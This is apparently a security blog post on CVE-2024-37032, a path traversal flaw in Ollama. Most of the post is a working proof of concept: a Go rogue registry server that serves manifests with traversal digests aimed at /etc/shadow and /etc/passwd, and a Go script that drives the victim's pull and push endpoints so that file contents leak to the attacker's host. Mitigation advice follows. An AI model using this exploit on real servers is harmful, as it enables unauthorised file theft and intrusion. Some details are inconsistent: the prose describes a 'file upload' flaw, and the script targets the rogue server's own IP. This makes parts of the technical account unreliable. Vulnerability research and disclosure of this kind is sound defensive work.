Introduction
This blog post offers a technical analysis of CVE-2024-37032, a recently discovered Remote Code Execution (RCE) vulnerability within Ollama, a popular AI infrastructure framework. Patchable versions (0.1.34 and later) are now available.
This analysis delves into the technical details of the exploit, exploring how it leverages a path traversal vulnerability to achieve unauthorized code execution on affected systems. We'll also discuss mitigation strategies and best practices for securing Ollama deployments.
Technical Breakdown
CVE-2024-37032 exploits a path traversal flaw within Ollama's file upload functionality. Here's a breakdown of the attack chain:
Malicious File Upload: An attacker uploads a specially crafted file containing a path traversal payload. This payload could manipulate the relative path accepted by the Ollama server during file processing.
Exploiting Path Traversal: The vulnerable code within Ollama fails to properly validate the uploaded file path. This allows the attacker's payload to traverse to restricted directories on the server's file system.
Arbitrary Code Execution: By crafting the path traversal payload strategically, the attacker can reach and execute arbitrary code located on the server. This could be a malicious script or binary granting unauthorized access to the system.
Proof of Concept
- Setup Vulnerable Ollama Server: We can use the docker image of Ollama to set this up:
docker run -d -v ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama:0.1.33
Rogue Server Setup: We will set up a rogue server listening on port 80. This server mimics responses for specific Ollama API calls, including those related to image manifests. We can use the following Go script to set up this server:
package main import ( "fmt" "io/ioutil" "net/http" "github.com/gin-gonic/gin" ) const Host = "<ROGUE_SERVER_IP>" func main() { router := gin.Default() router.GET("/", indexGet) router.POST("/", indexPost) router.GET("/v2/rogue/poc/manifests/latest", fakeManifests) router.HEAD("/etc/passwd", fakePasswdHead) router.GET("/etc/passwd", fakePasswdGet) router.HEAD(fmt.Sprintf("/root/.ollama/models/manifests/%s/rogue/poc/latest", Host), fakeLatestHead) router.GET(fmt.Sprintf("/root/.ollama/models/manifests/%s/rogue/poc/latest", Host), fakeLatestGet) router.HEAD("/tmp/notfoundfile", fakeNotfoundHead) router.GET("/tmp/notfoundfile", fakeNotfoundGet) router.POST("/v2/rogue/poc/blobs/uploads/", fakeUploadPost) router.PATCH("/v2/rogue/poc/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04", fakePatchFile) router.POST("/v2/rogue/poc/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04", fakePostFile) router.PUT("/v2/rogue/poc/manifests/latest", fakeManifestsPut) router.Run(":80") } func indexGet(c *gin.Context) { c.JSON(http.StatusOK, gin.H{"message": "Hello rogue server"}) } func indexPost(c *gin.Context) { body, err := ioutil.ReadAll(c.Request.Body) if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) return } fmt.Println(string(body)) c.JSON(http.StatusOK, gin.H{"message": "Hello rogue server"}) } func fakeManifests(c *gin.Context) { c.JSON(http.StatusOK, gin.H{ "schemaVersion": 2, "mediaType": "application/vnd.docker.distribution.manifest.v2+json", "config": gin.H{ "mediaType": "application/vnd.docker.container.image.v1+json", "digest": "../../../../../../../../../../../../../etc/shadow", "size": 10, }, "layers": []gin.H{ { "mediaType": "application/vnd.ollama.image.license", "digest": "../../../../../../../../../../../../../../../../../../../tmp/notfoundfile", "size": 10, }, { "mediaType": "application/vnd.docker.distribution.manifest.v2+json", "digest": "../../../../../../../../../../../../../etc/passwd", "size": 10, }, { "mediaType": "application/vnd.ollama.image.license", "digest": fmt.Sprintf("../../../../../../../../../../../../../../../../../../../root/.ollama/models/manifests/%s/rogue/poc/latest", Host), "size": 10, }, }, }) } func fakePasswdHead(c *gin.Context) { c.Header("Docker-Content-Digest", "../../../../../../../../../../../../../etc/passwd") c.Status(http.StatusOK) } func fakePasswdGet(c *gin.Context) { c.Header("Docker-Content-Digest", "../../../../../../../../../../../../../etc/passwd") c.Header("E-Tag", "\"../../../../../../../../../../../../../etc/passwd\"") c.String(http.StatusPartialContent, "cve-2024-37032-test") } func fakeLatestHead(c *gin.Context) { c.Header("Docker-Content-Digest", fmt.Sprintf("../../../../../../../../../../../../../root/.ollama/models/manifests/%s/rogue/poc/latest", Host)) c.Status(http.StatusOK) } func fakeLatestGet(c *gin.Context) { c.Header("Docker-Content-Digest", fmt.Sprintf("../../../../../../../../../../../../../root/.ollama/models/manifests/%s/rogue/poc/latest", Host)) c.Header("E-Tag", fmt.Sprintf("\"../../../../../../../../../../../../../root/.ollama/models/manifests/%s/rogue/poc/latest\"", Host)) c.JSON(http.StatusOK, gin.H{ "schemaVersion": 2, "mediaType": "application/vnd.docker.distribution.manifest.v2+json", "config": gin.H{ "mediaType": "application/vnd.docker.container.image.v1+json", "digest": "../../../../../../../../../../../../../etc/shadow", "size": 10, }, "layers": []gin.H{ { "mediaType": "application/vnd.ollama.image.license", "digest": "../../../../../../../../../../../../../../../../../../../tmp/notfoundfile", "size": 10, }, { "mediaType": "application/vnd.ollama.image.license", "digest": "../../../../../../../../../../../../../etc/passwd", "size": 10, }, { "mediaType": "application/vnd.ollama.image.license", "digest": fmt.Sprintf("../../../../../../../../../../../../../../../../../../../root/.ollama/models/manifests/%s/rogue/poc/latest", Host), "size": 10, }, }, }) } func fakeNotfoundHead(c *gin.Context) { c.Header("Docker-Content-Digest", "../../../../../../../../../../../../../tmp/notfoundfile") c.Status(http.StatusOK) } func fakeNotfoundGet(c *gin.Context) { c.Header("Docker-Content-Digest", "../../../../../../../../../../../../../tmp/notfoundfile") c.Header("E-Tag", "\"../../../../../../../../../../../../../tmp/notfoundfile\"") c.String(http.StatusPartialContent, "cve-2024-37032-test") } func fakeUploadPost(c *gin.Context) { body, err := ioutil.ReadAll(c.Request.Body) if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) return } fmt.Println(string(body)) c.Header("Docker-Upload-Uuid", "3647298c-9588-4dd2-9bbe-0539533d2d04") c.Header("Location", fmt.Sprintf("http://%s/v2/rogue/poc/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04?_state=eBQ2_sxwOJVy8DZMYYZ8wA8NBrJjmdINFUMM6uEZyYF7Ik5hbWUiOiJyb2d1ZS9sbGFtYTMiLCJVVUlEIjoiMzY0NzI5OGMtOTU4OC00ZGQyLTliYmUtMDUzOTUzM2QyZDA0IiwiT2Zmc2V0IjowLCJTdGFydGVkQXQiOiIyMDI0LTA2LTI1VDEzOjAxOjExLjU5MTkyMzgxMVoifQ%3D%3D", Host)) c.Status(http.StatusAccepted) } func fakePatchFile(c *gin.Context) { body, err := ioutil.ReadAll(c.Request.Body) if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) return } fmt.Println("patch") fmt.Println(string(body)) c.Status(http.StatusAccepted) } func fakePostFile(c *gin.Context) { body, err := ioutil.ReadAll(c.Request.Body) if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) return } fmt.Println(string(body)) c.Status(http.StatusAccepted) } func fakeManifestsPut(c *gin.Context) { body, err := ioutil.ReadAll(c.Request.Body) if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) return } fmt.Println(string(body)) c.Header("Docker-Upload-Uuid", "3647298c-9588-4dd2-9bbe-0539533d2d04") c.Header("Location", fmt.Sprintf("http://%s/v2/rogue/poc/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04?_state=eBQ2_sxwOJVy8DZMYYZ8wA8NBrJjmdINFUMM6uEZyYF7Ik5hbWUiOiJyb2d1ZS9sbGFtYTMiLCJVVUlEIjoiMzY0NzI5OGMtOTU4OC00ZGQyLTliYmUtMDUzOTUzM2QyZDA0IiwiT2Zmc2V0IjowLCJTdGFydGVkQXQiOiIyMDI0LTA2LTI1VDEzOjAxOjExLjU5MTkyMzgxMVoifQ%3D%3D", Host)) c.Status(http.StatusAccepted) }
Exploit Script Execution: We can now run the exploit script. This script defines the target Ollama server's IP address (HOST) and its port (11434). It then constructs URLs for the vulnerable Ollama API endpoints:
/api/pull: Used to pull models from a registry being controlled by us (attacker).
/api/push: Used to register models.
package main
import (
"bytes"
"encoding/json"
"fmt"
"net/http"
"os"
)
const Host = "<ROGUE_SERVER_IP>"
func main() {
targetURL := fmt.Sprintf("http://%s:11434", Host)
vulnRegistryURL := fmt.Sprintf("%s/rogue/poc", Host)
pullURL := fmt.Sprintf("%s/api/pull", targetURL)
pushURL := fmt.Sprintf("%s/api/push", targetURL)
payload := map[string]interface{}{
"name": vulnRegistryURL,
"insecure": true,
}
err := sendPostRequest(pullURL, payload)
if err != nil {
fmt.Fprintf(os.Stderr, "Failed to send pull request: %v\n", err)
return
}
err = sendPostRequest(pushURL, payload)
if err != nil {
fmt.Fprintf(os.Stderr, "Failed to send push request: %v\n", err)
}
}
func sendPostRequest(url string, data map[string]interface{}) error {
jsonData, err := json.Marshal(data)
if err != nil {
return fmt.Errorf("failed to marshal JSON: %w", err)
}
resp, err := http.Post(url, "application/json", bytes.NewBuffer(jsonData))
if err != nil {
return fmt.Errorf("failed to send POST request: %w", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return fmt.Errorf("received non-OK response: %s", resp.Status)
}
return nil
}
Triggering the Vulnerability: This exploit script sends two POST requests to the vulnerable Ollama server (that we have it running using docker):
The first request targets the /api/pull endpoint. It includes a JSON payload with "name" set to the URL of our rogue server (vuln_registry_url) and "insecure" set to True. This instructs the vulnerable Ollama server to attempt pulling models from our rogue server, potentially bypassing security measures like certificate verification (insecure=True).
The second request targets the /api/push endpoint with a similar JSON payload. And if our model’s manifest contains a traversal payload for the digest of one of its layers, when attempting to push this model to a remote registry via the victims's /api/push endpoint, the server will leak the content of the file specified in the digest field.
Review Rogue Server Logs: Now after triggering the vulnerability, we can review our rogue server logs to see if it has leaked the content of /etc/passwd file of docker container running the Ollama server:
Impact
The significant risk associated with CVE-2024-37032 stems from its ease of exploitation. An unauthenticated attacker can potentially gain complete control over the vulnerable Ollama instance by performing RCE. This could lead to:
Data Theft: Sensitive information stored within the Ollama environment or processed by the AI models could be exfiltrated.
Lateral Movement: The compromised Ollama instance might be used as a foothold for further attacks within the network.
Cryptojacking: The attacker could leverage the compromised system's resources for cryptocurrency mining.
Mitigation Strategies
Organizations utilizing Ollama should prioritize the following actions:
Upgrade Immediately: Patch all Ollama deployments to version 0.1.34 or later to address the vulnerability.
Restrict Network Access: Implement network segmentation to limit internet exposure for Ollama instances. Ideally, only authorized systems should be able to access the Ollama server.
Enforce Authentication: Configure access controls to restrict file uploads and other sensitive functionalities to authenticated users only.
Preventative Measures
Beyond immediate patching, here are some additional security practices to bolster Ollama deployments:
Input Validation: Implement robust input validation mechanisms to sanitize user-provided data, particularly file paths. This can help prevent path traversal attacks like CVE-2024-37032.
Least Privilege: Grant users only the minimum privileges required to perform their tasks within the Ollama environment.
Regular Security Audits: Conduct regular security assessments of Ollama deployments to identify and rectify potential vulnerabilities.
Conclusion
CVE-2024-37032 serves as a reminder that even modern codebases written in contemporary languages are susceptible to classic vulnerabilities like path traversal. By promptly patching vulnerable systems, enforcing access controls, and implementing robust input validation, security professionals can mitigate the risk associated with this and similar RCE flaws.
Disclaimer
The information presented in this blog post is for educational purposes only. It is intended to raise awareness about the CVE-2024-37032 vulnerability and help mitigate the risks. It is not intended to be used for malicious purposes.
It's crucial to understand that messing around with vulnerabilities in live systems without permission is not just against the law, but it also comes with serious risks. This blog post does not support or encourage any activities that could help with such unauthorized actions.